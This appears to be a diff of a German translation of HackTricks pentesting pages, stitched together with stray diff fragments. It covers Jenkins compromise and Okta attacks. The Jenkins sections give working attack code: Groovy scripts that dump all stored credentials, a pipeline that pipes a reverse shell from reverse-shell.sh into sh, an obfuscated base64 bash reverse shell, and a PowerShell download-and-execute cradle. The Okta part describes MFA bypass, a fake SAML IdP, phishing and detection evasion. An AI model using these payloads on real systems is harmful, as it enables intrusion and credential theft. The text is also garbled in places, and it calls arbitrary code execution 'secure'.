- Groovy script can be used to execute system-level commands or other operations within the Jenkins environment.
|
||||
- Das Groovy-Skript kann verwendet werden, um systemweite Befehle oder andere Operationen innerhalb der Jenkins-Umgebung auszuführen.
|
||||
|
||||
The example curl command provided demonstrates how to make a request to Jenkins with the necessary headers and cookies to execute arbitrary code securely.
|
||||
Der bereitgestellte Beispiel-curl-Befehl zeigt, wie man eine Anfrage an Jenkins mit den erforderlichen Headern und Cookies sendet, um willkürlichen Code sicher auszuführen.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -3,10 +3,9 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!WARNING]
|
||||
> Note that these scripts will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**.
|
||||
|
||||
You can **dump all the secrets from the Groovy Script console** in `/script` running this code
|
||||
> Beachten Sie, dass diese Skripte nur die Geheimnisse in der `credentials.xml`-Datei auflisten, aber **Build-Konfigurationsdateien** möglicherweise auch **weitere Anmeldeinformationen** enthalten.
|
||||
|
||||
Sie können **alle Geheimnisse aus der Groovy-Skript-Konsole** in `/script` dumpen, indem Sie diesen Code ausführen.
|
||||
```java
|
||||
// From https://www.dennisotugo.com/how-to-view-all-jenkins-secrets-credentials/
|
||||
import jenkins.model.*
|
||||
@@ -42,52 +41,45 @@ showRow("something else", it.id, '', '', '')
|
||||
|
||||
return
|
||||
```
|
||||
|
||||
#### or this one:
|
||||
|
||||
#### oder dieses hier:
|
||||
```java
|
||||
import java.nio.charset.StandardCharsets;
|
||||
def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
|
||||
com.cloudbees.plugins.credentials.Credentials.class
|
||||
com.cloudbees.plugins.credentials.Credentials.class
|
||||
)
|
||||
|
||||
for (c in creds) {
|
||||
println(c.id)
|
||||
if (c.properties.description) {
|
||||
println(" description: " + c.description)
|
||||
}
|
||||
if (c.properties.username) {
|
||||
println(" username: " + c.username)
|
||||
}
|
||||
if (c.properties.password) {
|
||||
println(" password: " + c.password)
|
||||
}
|
||||
if (c.properties.passphrase) {
|
||||
println(" passphrase: " + c.passphrase)
|
||||
}
|
||||
if (c.properties.secret) {
|
||||
println(" secret: " + c.secret)
|
||||
}
|
||||
if (c.properties.secretBytes) {
|
||||
println(" secretBytes: ")
|
||||
println("\n" + new String(c.secretBytes.getPlainData(), StandardCharsets.UTF_8))
|
||||
println("")
|
||||
}
|
||||
if (c.properties.privateKeySource) {
|
||||
println(" privateKey: " + c.getPrivateKey())
|
||||
}
|
||||
if (c.properties.apiToken) {
|
||||
println(" apiToken: " + c.apiToken)
|
||||
}
|
||||
if (c.properties.token) {
|
||||
println(" token: " + c.token)
|
||||
}
|
||||
println("")
|
||||
println(c.id)
|
||||
if (c.properties.description) {
|
||||
println(" description: " + c.description)
|
||||
}
|
||||
if (c.properties.username) {
|
||||
println(" username: " + c.username)
|
||||
}
|
||||
if (c.properties.password) {
|
||||
println(" password: " + c.password)
|
||||
}
|
||||
if (c.properties.passphrase) {
|
||||
println(" passphrase: " + c.passphrase)
|
||||
}
|
||||
if (c.properties.secret) {
|
||||
println(" secret: " + c.secret)
|
||||
}
|
||||
if (c.properties.secretBytes) {
|
||||
println(" secretBytes: ")
|
||||
println("\n" + new String(c.secretBytes.getPlainData(), StandardCharsets.UTF_8))
|
||||
println("")
|
||||
}
|
||||
if (c.properties.privateKeySource) {
|
||||
println(" privateKey: " + c.getPrivateKey())
|
||||
}
|
||||
if (c.properties.apiToken) {
|
||||
println(" apiToken: " + c.apiToken)
|
||||
}
|
||||
if (c.properties.token) {
|
||||
println(" token: " + c.token)
|
||||
}
|
||||
println("")
|
||||
}
|
||||
```
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,43 +1,37 @@
|
||||
# Jenkins RCE Creating/Modifying Pipeline
|
||||
# Jenkins RCE Erstellen/Ändern von Pipelines
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Creating a new Pipeline
|
||||
## Erstellen einer neuen Pipeline
|
||||
|
||||
In "New Item" (accessible in `/view/all/newJob`) select **Pipeline:**
|
||||
Wählen Sie in "Neues Element" (erreichbar unter `/view/all/newJob`) **Pipeline:**
|
||||
|
||||
.png>)
|
||||
|
||||
In the **Pipeline section** write the **reverse shell**:
|
||||
Schreiben Sie im **Pipeline-Bereich** die **Reverse Shell**:
|
||||
|
||||
.png>)
|
||||
|
||||
```groovy
|
||||
pipeline {
|
||||
agent any
|
||||
agent any
|
||||
|
||||
stages {
|
||||
stage('Hello') {
|
||||
steps {
|
||||
sh '''
|
||||
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
|
||||
'''
|
||||
}
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Hello') {
|
||||
steps {
|
||||
sh '''
|
||||
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
|
||||
'''
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Finally click on **Save**, and **Build Now** and the pipeline will be executed:
|
||||
Schließlich klicken Sie auf **Speichern** und **Jetzt bauen**, und die Pipeline wird ausgeführt:
|
||||
|
||||
.png>)
|
||||
|
||||
## Modifying a Pipeline
|
||||
## Ändern einer Pipeline
|
||||
|
||||
If you can access the configuration file of some pipeline configured you could just **modify it appending your reverse shell** and then execute it or wait until it gets executed.
|
||||
Wenn Sie auf die Konfigurationsdatei einer konfigurierten Pipeline zugreifen können, könnten Sie sie einfach **ändern, indem Sie Ihre Reverse-Shell anhängen** und sie dann ausführen oder warten, bis sie ausgeführt wird.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,37 +4,33 @@
|
||||
|
||||
## Creating a Project
|
||||
|
||||
This method is very noisy because you have to create a hole new project (obviously this will only work if you user is allowed to create a new project).
|
||||
Diese Methode ist sehr laut, da Sie ein ganz neues Projekt erstellen müssen (offensichtlich funktioniert dies nur, wenn der Benutzer berechtigt ist, ein neues Projekt zu erstellen).
|
||||
|
||||
1. **Create a new project** (Freestyle project) clicking "New Item" or in `/view/all/newJob`
|
||||
2. Inside **Build** section set **Execute shell** and paste a powershell Empire launcher or a meterpreter powershell (can be obtained using _unicorn_). Start the payload with _PowerShell.exe_ instead using _powershell._
|
||||
3. Click **Build now**
|
||||
1. If **Build now** button doesn't appear, you can still go to **configure** --> **Build Triggers** --> `Build periodically` and set a cron of `* * * * *`
|
||||
2. Instead of using cron, you can use the config "**Trigger builds remotely**" where you just need to set a the api token name to trigger the job. Then go to your user profile and **generate an API token** (call this API token as you called the api token to trigger the job). Finally, trigger the job with: **`curl <username>:<api_token>@<jenkins_url>/job/<job_name>/build?token=<api_token_name>`**
|
||||
1. **Erstellen Sie ein neues Projekt** (Freestyle-Projekt), indem Sie auf "Neues Element" klicken oder in `/view/all/newJob`
|
||||
2. Im Abschnitt **Build** setzen Sie **Shell ausführen** und fügen Sie einen PowerShell Empire-Launcher oder eine Meterpreter-PowerShell ein (kann mit _unicorn_ erhalten werden). Starten Sie die Payload mit _PowerShell.exe_ anstelle von _powershell._
|
||||
3. Klicken Sie auf **Jetzt bauen**
|
||||
1. Wenn die Schaltfläche **Jetzt bauen** nicht erscheint, können Sie trotzdem zu **konfigurieren** --> **Build-Trigger** --> `Build regelmäßig` gehen und einen Cron von `* * * * *` festlegen.
|
||||
2. Anstelle von Cron können Sie die Konfiguration "**Bauten remote auslösen**" verwenden, bei der Sie nur den API-Token-Namen festlegen müssen, um den Job auszulösen. Gehen Sie dann zu Ihrem Benutzerprofil und **generieren Sie einen API-Token** (nennen Sie diesen API-Token so, wie Sie den API-Token genannt haben, um den Job auszulösen). Schließlich lösen Sie den Job mit aus: **`curl <username>:<api_token>@<jenkins_url>/job/<job_name>/build?token=<api_token_name>`**
|
||||
|
||||
.png>)
|
||||
|
||||
## Modifying a Project
|
||||
|
||||
Go to the projects and check **if you can configure any** of them (look for the "Configure button"):
|
||||
Gehen Sie zu den Projekten und überprüfen Sie **ob Sie eines von ihnen konfigurieren können** (suchen Sie nach der Schaltfläche "Konfigurieren"):
|
||||
|
||||
.png>)
|
||||
|
||||
If you **cannot** see any **configuration** **button** then you **cannot** **configure** it probably (but check all projects as you might be able to configure some of them and not others).
|
||||
Wenn Sie **keine** **Konfigurations** **schaltfläche** sehen können, dann **können Sie es wahrscheinlich nicht** **konfigurieren** (aber überprüfen Sie alle Projekte, da Sie möglicherweise einige von ihnen und nicht andere konfigurieren können).
|
||||
|
||||
Or **try to access to the path** `/job/<proj-name>/configure` or `/me/my-views/view/all/job/<proj-name>/configure` \_\_ in each project (example: `/job/Project0/configure` or `/me/my-views/view/all/job/Project0/configure`).
|
||||
Oder **versuchen Sie, auf den Pfad** `/job/<proj-name>/configure` oder `/me/my-views/view/all/job/<proj-name>/configure` \_\_ in jedem Projekt zuzugreifen (Beispiel: `/job/Project0/configure` oder `/me/my-views/view/all/job/Project0/configure`).
|
||||
|
||||
## Execution
|
||||
|
||||
If you are allowed to configure the project you can **make it execute commands when a build is successful**:
|
||||
Wenn Sie berechtigt sind, das Projekt zu konfigurieren, können Sie **es so einstellen, dass es Befehle ausführt, wenn ein Build erfolgreich ist**:
|
||||
|
||||
.png>)
|
||||
|
||||
Click on **Save** and **build** the project and your **command will be executed**.\
|
||||
If you are not executing a reverse shell but a simple command you can **see the output of the command inside the output of the build**.
|
||||
Klicken Sie auf **Speichern** und **bauen** Sie das Projekt, und Ihr **Befehl wird ausgeführt**.\
|
||||
Wenn Sie keine Reverse-Shell, sondern einen einfachen Befehl ausführen, können Sie **die Ausgabe des Befehls in der Ausgabe des Builds sehen**.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,27 +1,24 @@
|
||||
# Jenkins RCE with Groovy Script
|
||||
# Jenkins RCE mit Groovy-Skript
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Jenkins RCE with Groovy Script
|
||||
## Jenkins RCE mit Groovy-Skript
|
||||
|
||||
This is less noisy than creating a new project in Jenkins
|
||||
|
||||
1. Go to _path_jenkins/script_
|
||||
2. Inside the text box introduce the script
|
||||
Dies ist weniger auffällig als ein neues Projekt in Jenkins zu erstellen.
|
||||
|
||||
1. Gehe zu _path_jenkins/script_
|
||||
2. Füge im Textfeld das Skript ein
|
||||
```python
|
||||
def process = "PowerShell.exe <WHATEVER>".execute()
|
||||
println "Found text ${process.text}"
|
||||
```
|
||||
Du könntest einen Befehl ausführen mit: `cmd.exe /c dir`
|
||||
|
||||
You could execute a command using: `cmd.exe /c dir`
|
||||
In **linux** kannst du: **`"ls /".execute().text`**
|
||||
|
||||
In **linux** you can do: **`"ls /".execute().text`**
|
||||
|
||||
If you need to use _quotes_ and _single quotes_ inside the text. You can use _"""PAYLOAD"""_ (triple double quotes) to execute the payload.
|
||||
|
||||
**Another useful groovy script** is (replace \[INSERT COMMAND]):
|
||||
Wenn du _Anführungszeichen_ und _einzelne Anführungszeichen_ im Text verwenden musst, kannst du _"""PAYLOAD"""_ (dreifache doppelte Anführungszeichen) verwenden, um die Payload auszuführen.
|
||||
|
||||
**Ein weiteres nützliches groovy-Skript** ist (ersetze \[INSERT COMMAND]):
|
||||
```python
|
||||
def sout = new StringBuffer(), serr = new StringBuffer()
|
||||
def proc = '[INSERT COMMAND]'.execute()
|
||||
@@ -29,9 +26,7 @@ proc.consumeProcessOutput(sout, serr)
|
||||
proc.waitForOrKill(1000)
|
||||
println "out> $sout err> $serr"
|
||||
```
|
||||
|
||||
### Reverse shell in linux
|
||||
|
||||
### Reverse-Shell in Linux
|
||||
```python
|
||||
def sout = new StringBuffer(), serr = new StringBuffer()
|
||||
def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
|
||||
@@ -39,29 +34,20 @@ proc.consumeProcessOutput(sout, serr)
|
||||
proc.waitForOrKill(1000)
|
||||
println "out> $sout err> $serr"
|
||||
```
|
||||
### Reverse-Shell in Windows
|
||||
|
||||
### Reverse shell in windows
|
||||
|
||||
You can prepare a HTTP server with a PS reverse shell and use Jeking to download and execute it:
|
||||
|
||||
Sie können einen HTTP-Server mit einer PS-Reverse-Shell vorbereiten und Jeking verwenden, um ihn herunterzuladen und auszuführen:
|
||||
```python
|
||||
scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
|
||||
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
|
||||
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc <BASE64>
|
||||
```
|
||||
|
||||
### Script
|
||||
|
||||
You can automate this process with [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py).
|
||||
|
||||
You can use MSF to get a reverse shell:
|
||||
Sie können diesen Prozess mit [**diesem Skript**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py) automatisieren.
|
||||
|
||||
Sie können MSF verwenden, um eine umgekehrte Shell zu erhalten:
|
||||
```
|
||||
msf> use exploit/multi/http/jenkins_script_console
|
||||
```
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,118 +1,114 @@
|
||||
# Okta Security
|
||||
# Okta-Sicherheit
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Grundinformationen
|
||||
|
||||
[Okta, Inc.](https://www.okta.com/) is recognized in the identity and access management sector for its cloud-based software solutions. These solutions are designed to streamline and secure user authentication across various modern applications. They cater not only to companies aiming to safeguard their sensitive data but also to developers interested in integrating identity controls into applications, web services, and devices.
|
||||
[Okta, Inc.](https://www.okta.com/) ist im Bereich Identitäts- und Zugriffsmanagement für seine cloudbasierten Softwarelösungen anerkannt. Diese Lösungen sind darauf ausgelegt, die Benutzerauthentifizierung über verschiedene moderne Anwendungen zu optimieren und zu sichern. Sie richten sich nicht nur an Unternehmen, die ihre sensiblen Daten schützen möchten, sondern auch an Entwickler, die daran interessiert sind, Identitätskontrollen in Anwendungen, Webdiensten und Geräten zu integrieren.
|
||||
|
||||
The flagship offering from Okta is the **Okta Identity Cloud**. This platform encompasses a suite of products, including but not limited to:
|
||||
Das Flaggschiff-Angebot von Okta ist die **Okta Identity Cloud**. Diese Plattform umfasst eine Suite von Produkten, darunter, aber nicht beschränkt auf:
|
||||
|
||||
- **Single Sign-On (SSO)**: Simplifies user access by allowing one set of login credentials across multiple applications.
|
||||
- **Multi-Factor Authentication (MFA)**: Enhances security by requiring multiple forms of verification.
|
||||
- **Lifecycle Management**: Automates user account creation, update, and deactivation processes.
|
||||
- **Universal Directory**: Enables centralized management of users, groups, and devices.
|
||||
- **API Access Management**: Secures and manages access to APIs.
|
||||
- **Single Sign-On (SSO)**: Vereinfacht den Benutzerzugang, indem ein Satz von Anmeldeinformationen für mehrere Anwendungen verwendet wird.
|
||||
- **Multi-Faktor-Authentifizierung (MFA)**: Erhöht die Sicherheit, indem mehrere Verifizierungsformen erforderlich sind.
|
||||
- **Lifecycle Management**: Automatisiert die Erstellung, Aktualisierung und Deaktivierung von Benutzerkonten.
|
||||
- **Universal Directory**: Ermöglicht die zentrale Verwaltung von Benutzern, Gruppen und Geräten.
|
||||
- **API Access Management**: Sichert und verwaltet den Zugriff auf APIs.
|
||||
|
||||
These services collectively aim to fortify data protection and streamline user access, enhancing both security and convenience. The versatility of Okta's solutions makes them a popular choice across various industries, beneficial to large enterprises, small companies, and individual developers alike. As of the last update in September 2021, Okta is acknowledged as a prominent entity in the Identity and Access Management (IAM) arena.
|
||||
Diese Dienste zielen darauf ab, den Datenschutz zu stärken und den Benutzerzugang zu optimieren, wodurch sowohl Sicherheit als auch Benutzerfreundlichkeit verbessert werden. Die Vielseitigkeit von Okta's Lösungen macht sie zu einer beliebten Wahl in verschiedenen Branchen, die großen Unternehmen, kleinen Firmen und einzelnen Entwicklern zugutekommt. Stand September 2021 wird Okta als bedeutendes Unternehmen im Bereich Identitäts- und Zugriffsmanagement (IAM) anerkannt.
|
||||
|
||||
> [!CAUTION]
|
||||
> The main gola of Okta is to configure access to different users and groups to external applications. If you manage to **compromise administrator privileges in an Oktas** environment, you will highly probably able to **compromise all the other platforms the company is using**.
|
||||
> Das Hauptziel von Okta ist es, den Zugriff auf verschiedene Benutzer und Gruppen auf externe Anwendungen zu konfigurieren. Wenn es Ihnen gelingt, **Administratorrechte in einer Okta-Umgebung zu kompromittieren**, werden Sie höchstwahrscheinlich in der Lage sein, **alle anderen Plattformen, die das Unternehmen verwendet, zu kompromittieren**.
|
||||
|
||||
> [!TIP]
|
||||
> To perform a security review of an Okta environment you should ask for **administrator read-only access**.
|
||||
> Um eine Sicherheitsüberprüfung einer Okta-Umgebung durchzuführen, sollten Sie um **Administrator-Lesezugriff** bitten.
|
||||
|
||||
### Summary
|
||||
### Zusammenfassung
|
||||
|
||||
There are **users** (which can be **stored in Okta,** logged from configured **Identity Providers** or authenticated via **Active Directory** or LDAP).\
|
||||
These users can be inside **groups**.\
|
||||
There are also **authenticators**: different options to authenticate like password, and several 2FA like WebAuthn, email, phone, okta verify (they could be enabled or disabled)...
|
||||
Es gibt **Benutzer** (die in **Okta gespeichert,** von konfigurierten **Identitätsanbietern** angemeldet oder über **Active Directory** oder LDAP authentifiziert werden können).\
|
||||
Diese Benutzer können in **Gruppen** sein.\
|
||||
Es gibt auch **Authentifizierer**: verschiedene Optionen zur Authentifizierung wie Passwort und mehrere 2FA wie WebAuthn, E-Mail, Telefon, Okta Verify (sie könnten aktiviert oder deaktiviert sein)...
|
||||
|
||||
Then, there are **applications** synchronized with Okta. Each applications will have some **mapping with Okta** to share information (such as email addresses, first names...). Moreover, each application must be inside an **Authentication Policy**, which indicates the **needed authenticators** for a user to **access** the application.
|
||||
Dann gibt es **Anwendungen**, die mit Okta synchronisiert sind. Jede Anwendung hat eine **Zuordnung zu Okta**, um Informationen (wie E-Mail-Adressen, Vornamen...) auszutauschen. Darüber hinaus muss jede Anwendung in einer **Authentifizierungsrichtlinie** enthalten sein, die die **benötigten Authentifizierer** angibt, damit ein Benutzer auf die Anwendung **zugreifen** kann.
|
||||
|
||||
> [!CAUTION]
|
||||
> The most powerful role is **Super Administrator**.
|
||||
> Die mächtigste Rolle ist **Super Administrator**.
|
||||
>
|
||||
> If an attacker compromise Okta with Administrator access, all the **apps trusting Okta** will be highly probably **compromised**.
|
||||
> Wenn ein Angreifer Okta mit Administratorzugang kompromittiert, werden alle **Apps, die Okta vertrauen**, höchstwahrscheinlich **kompromittiert**.
|
||||
|
||||
## Attacks
|
||||
## Angriffe
|
||||
|
||||
### Locating Okta Portal
|
||||
### Lokalisierung des Okta-Portals
|
||||
|
||||
Usually the portal of a company will be located in **companyname.okta.com**. If not, try simple **variations** of **companyname.** If you cannot find it, it's also possible that the organization has a **CNAME** record like **`okta.companyname.com`** pointing to the **Okta portal**.
|
||||
In der Regel befindet sich das Portal eines Unternehmens unter **companyname.okta.com**. Wenn nicht, versuchen Sie einfache **Variationen** von **companyname.** Wenn Sie es nicht finden können, ist es auch möglich, dass die Organisation einen **CNAME**-Eintrag wie **`okta.companyname.com`** hat, der auf das **Okta-Portal** verweist.
|
||||
|
||||
### Login in Okta via Kerberos
|
||||
### Anmeldung in Okta über Kerberos
|
||||
|
||||
If **`companyname.kerberos.okta.com`** is active, **Kerberos is used for Okta access**, typically bypassing **MFA** for **Windows** users. To find Kerberos-authenticated Okta users in AD, run **`getST.py`** with **appropriate parameters**. Upon obtaining an **AD user ticket**, **inject** it into a controlled host using tools like Rubeus or Mimikatz, ensuring **`clientname.kerberos.okta.com` is in the Internet Options "Intranet" zone**. Accessing a specific URL should return a JSON "OK" response, indicating Kerberos ticket acceptance, and granting access to the Okta dashboard.
|
||||
Wenn **`companyname.kerberos.okta.com`** aktiv ist, wird **Kerberos für den Okta-Zugriff verwendet**, was typischerweise die **MFA** für **Windows**-Benutzer umgeht. Um Kerberos-authentifizierte Okta-Benutzer in AD zu finden, führen Sie **`getST.py`** mit **entsprechenden Parametern** aus. Nach Erhalt eines **AD-Benutzertickets** **injizieren** Sie es in einen kontrollierten Host mit Tools wie Rubeus oder Mimikatz und stellen sicher, dass **`clientname.kerberos.okta.com` in der Internetoptionen "Intranet"-Zone** ist. Der Zugriff auf eine bestimmte URL sollte eine JSON "OK"-Antwort zurückgeben, die die Akzeptanz des Kerberos-Tickets anzeigt und den Zugriff auf das Okta-Dashboard gewährt.
|
||||
|
||||
Compromising the **Okta service account with the delegation SPN enables a Silver Ticket attack.** However, Okta's use of **AES** for ticket encryption requires possessing the AES key or plaintext password. Use **`ticketer.py` to generate a ticket for the victim user** and deliver it via the browser to authenticate with Okta.
|
||||
Die Kompromittierung des **Okta-Dienstkontos mit dem Delegations-SPN ermöglicht einen Silver Ticket-Angriff.** Allerdings erfordert Okta die Verwendung von **AES** zur Ticketverschlüsselung, was den Besitz des AES-Schlüssels oder des Klartextpassworts erfordert. Verwenden Sie **`ticketer.py`, um ein Ticket für den betroffenen Benutzer zu generieren** und es über den Browser zu übermitteln, um sich bei Okta zu authentifizieren.
|
||||
|
||||
**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
**Überprüfen Sie den Angriff in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
|
||||
### Hijacking Okta AD Agent
|
||||
### Hijacking des Okta AD-Agenten
|
||||
|
||||
This technique involves **accessing the Okta AD Agent on a server**, which **syncs users and handles authentication**. By examining and decrypting configurations in **`OktaAgentService.exe.config`**, notably the AgentToken using **DPAPI**, an attacker can potentially **intercept and manipulate authentication data**. This allows not only **monitoring** and **capturing user credentials** in plaintext during the Okta authentication process but also **responding to authentication attempts**, thereby enabling unauthorized access or providing universal authentication through Okta (akin to a 'skeleton key').
|
||||
Diese Technik umfasst **den Zugriff auf den Okta AD-Agenten auf einem Server**, der **Benutzer synchronisiert und die Authentifizierung verwaltet**. Durch die Untersuchung und Entschlüsselung von Konfigurationen in **`OktaAgentService.exe.config`**, insbesondere des AgentTokens mit **DPAPI**, kann ein Angreifer potenziell **Authentifizierungsdaten abfangen und manipulieren**. Dies ermöglicht nicht nur **Überwachung** und **Erfassung von Benutzeranmeldeinformationen** im Klartext während des Okta-Authentifizierungsprozesses, sondern auch **Reaktionen auf Authentifizierungsversuche**, wodurch unbefugter Zugriff ermöglicht oder eine universelle Authentifizierung über Okta bereitgestellt wird (ähnlich einem 'Skeleton Key').
|
||||
|
||||
**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
**Überprüfen Sie den Angriff in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
|
||||
### Hijacking AD As an Admin
|
||||
### Hijacking von AD als Administrator
|
||||
|
||||
This technique involves hijacking an Okta AD Agent by first obtaining an OAuth Code, then requesting an API token. The token is associated with an AD domain, and a **connector is named to establish a fake AD agent**. Initialization allows the agent to **process authentication attempts**, capturing credentials via the Okta API. Automation tools are available to streamline this process, offering a seamless method to intercept and handle authentication data within the Okta environment.
|
||||
Diese Technik umfasst das Hijacking eines Okta AD-Agenten, indem zuerst ein OAuth-Code erlangt und dann ein API-Token angefordert wird. Das Token ist mit einer AD-Domäne verknüpft, und ein **Connector wird benannt, um einen gefälschten AD-Agenten zu erstellen**. Die Initialisierung ermöglicht es dem Agenten, **Authentifizierungsversuche zu verarbeiten**, wobei Anmeldeinformationen über die Okta-API erfasst werden. Automatisierungstools sind verfügbar, um diesen Prozess zu optimieren und eine nahtlose Methode zum Abfangen und Verarbeiten von Authentifizierungsdaten innerhalb der Okta-Umgebung anzubieten.
|
||||
|
||||
**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
**Überprüfen Sie den Angriff in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
|
||||
### Okta Fake SAML Provider
|
||||
### Okta Fake SAML-Anbieter
|
||||
|
||||
**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
**Überprüfen Sie den Angriff in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
|
||||
The technique involves **deploying a fake SAML provider**. By integrating an external Identity Provider (IdP) within Okta's framework using a privileged account, attackers can **control the IdP, approving any authentication request at will**. The process entails setting up a SAML 2.0 IdP in Okta, manipulating the IdP Single Sign-On URL for redirection via local hosts file, generating a self-signed certificate, and configuring Okta settings to match against the username or email. Successfully executing these steps allows for authentication as any Okta user, bypassing the need for individual user credentials, significantly elevating access control in a potentially unnoticed manner.
|
||||
Die Technik umfasst **die Bereitstellung eines gefälschten SAML-Anbieters**. Durch die Integration eines externen Identitätsanbieters (IdP) innerhalb des Okta-Rahmens mit einem privilegierten Konto können Angreifer **den IdP kontrollieren und jede Authentifizierungsanfrage nach Belieben genehmigen**. Der Prozess umfasst die Einrichtung eines SAML 2.0 IdP in Okta, die Manipulation der IdP Single Sign-On-URL zur Umleitung über die lokale Hosts-Datei, die Erstellung eines selbstsignierten Zertifikats und die Konfiguration der Okta-Einstellungen, um mit dem Benutzernamen oder der E-Mail übereinzustimmen. Das erfolgreiche Ausführen dieser Schritte ermöglicht die Authentifizierung als jeder Okta-Benutzer, wodurch die Notwendigkeit individueller Benutzeranmeldeinformationen umgangen wird, was die Zugriffskontrolle erheblich erhöht und möglicherweise unbemerkt bleibt.
|
||||
|
||||
### Phishing Okta Portal with Evilgnix
|
||||
### Phishing des Okta-Portals mit Evilgnix
|
||||
|
||||
In [**this blog post**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) is explained how to prepare a phishing campaign against an Okta portal.
|
||||
In [**diesem Blogbeitrag**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) wird erklärt, wie man eine Phishing-Kampagne gegen ein Okta-Portal vorbereitet.
|
||||
|
||||
### Colleague Impersonation Attack
|
||||
### Kollege-Impersonation-Angriff
|
||||
|
||||
The **attributes that each user can have and modify** (like email or first name) can be configured in Okta. If an **application** is **trusting** as ID an **attribute** that the user can **modify**, he will be able to **impersonate other users in that platform**.
|
||||
Die **Attribute, die jeder Benutzer haben und ändern kann** (wie E-Mail oder Vorname) können in Okta konfiguriert werden. Wenn eine **Anwendung** ein **Attribut**, das der Benutzer **ändern kann**, als ID **vertraut**, wird er in der Lage sein, **andere Benutzer auf dieser Plattform zu impersonieren**.
|
||||
|
||||
Therefore, if the app is trusting the field **`userName`**, you probably won't be able to change it (because you usually cannot change that field), but if it's trusting for example **`primaryEmail`** you might be able to **change it to a colleagues email address** and impersonate it (you will need to have access to the email and accept the change).
|
||||
Wenn die App also das Feld **`userName`** vertraut, können Sie es wahrscheinlich nicht ändern (da Sie dieses Feld normalerweise nicht ändern können), aber wenn sie beispielsweise **`primaryEmail`** vertraut, könnten Sie es möglicherweise **in die E-Mail-Adresse eines Kollegen ändern** und sich als dieser ausgeben (Sie müssen Zugriff auf die E-Mail haben und die Änderung akzeptieren).
|
||||
|
||||
Note that this impersoantion depends on how each application was condigured. Only the ones trusting the field you modified and accepting updates will be compromised.\
|
||||
Therefore, the app should have this field enabled if it exists:
|
||||
Beachten Sie, dass diese Impersonation davon abhängt, wie jede Anwendung konfiguriert wurde. Nur die, die dem von Ihnen geänderten Feld vertrauen und Aktualisierungen akzeptieren, werden kompromittiert.\
|
||||
Daher sollte die App dieses Feld aktiviert haben, wenn es existiert:
|
||||
|
||||
<figure><img src="../../images/image (175).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
I have also seen other apps that were vulnerable but didn't have that field in the Okta settings (at the end different apps are configured differently).
|
||||
Ich habe auch andere Apps gesehen, die anfällig waren, aber dieses Feld nicht in den Okta-Einstellungen hatten (am Ende sind verschiedene Apps unterschiedlich konfiguriert).
|
||||
|
||||
The best way to find out if you could impersonate anyone on each app would be to try it!
|
||||
Der beste Weg herauszufinden, ob Sie sich in jeder App als jemand ausgeben könnten, wäre, es auszuprobieren!
|
||||
|
||||
## Evading behavioural detection policies <a href="#id-9fde" id="id-9fde"></a>
|
||||
## Umgehung von Verhaltensüberwachungsrichtlinien <a href="#id-9fde" id="id-9fde"></a>
|
||||
|
||||
Behavioral detection policies in Okta might be unknown until encountered, but **bypassing** them can be achieved by **targeting Okta applications directly**, avoiding the main Okta dashboard. With an **Okta access token**, replay the token at the **application-specific Okta URL** instead of the main login page.
|
||||
Verhaltensüberwachungsrichtlinien in Okta könnten unbekannt sein, bis sie aufgetreten sind, aber **die Umgehung** kann erreicht werden, indem **Okta-Anwendungen direkt angegriffen** werden, um das Haupt-Okta-Dashboard zu vermeiden. Mit einem **Okta-Zugriffstoken** wiederholen Sie das Token an der **anwendungsspezifischen Okta-URL** anstelle der Hauptanmeldeseite.
|
||||
|
||||
Key recommendations include:
|
||||
Wichtige Empfehlungen umfassen:
|
||||
|
||||
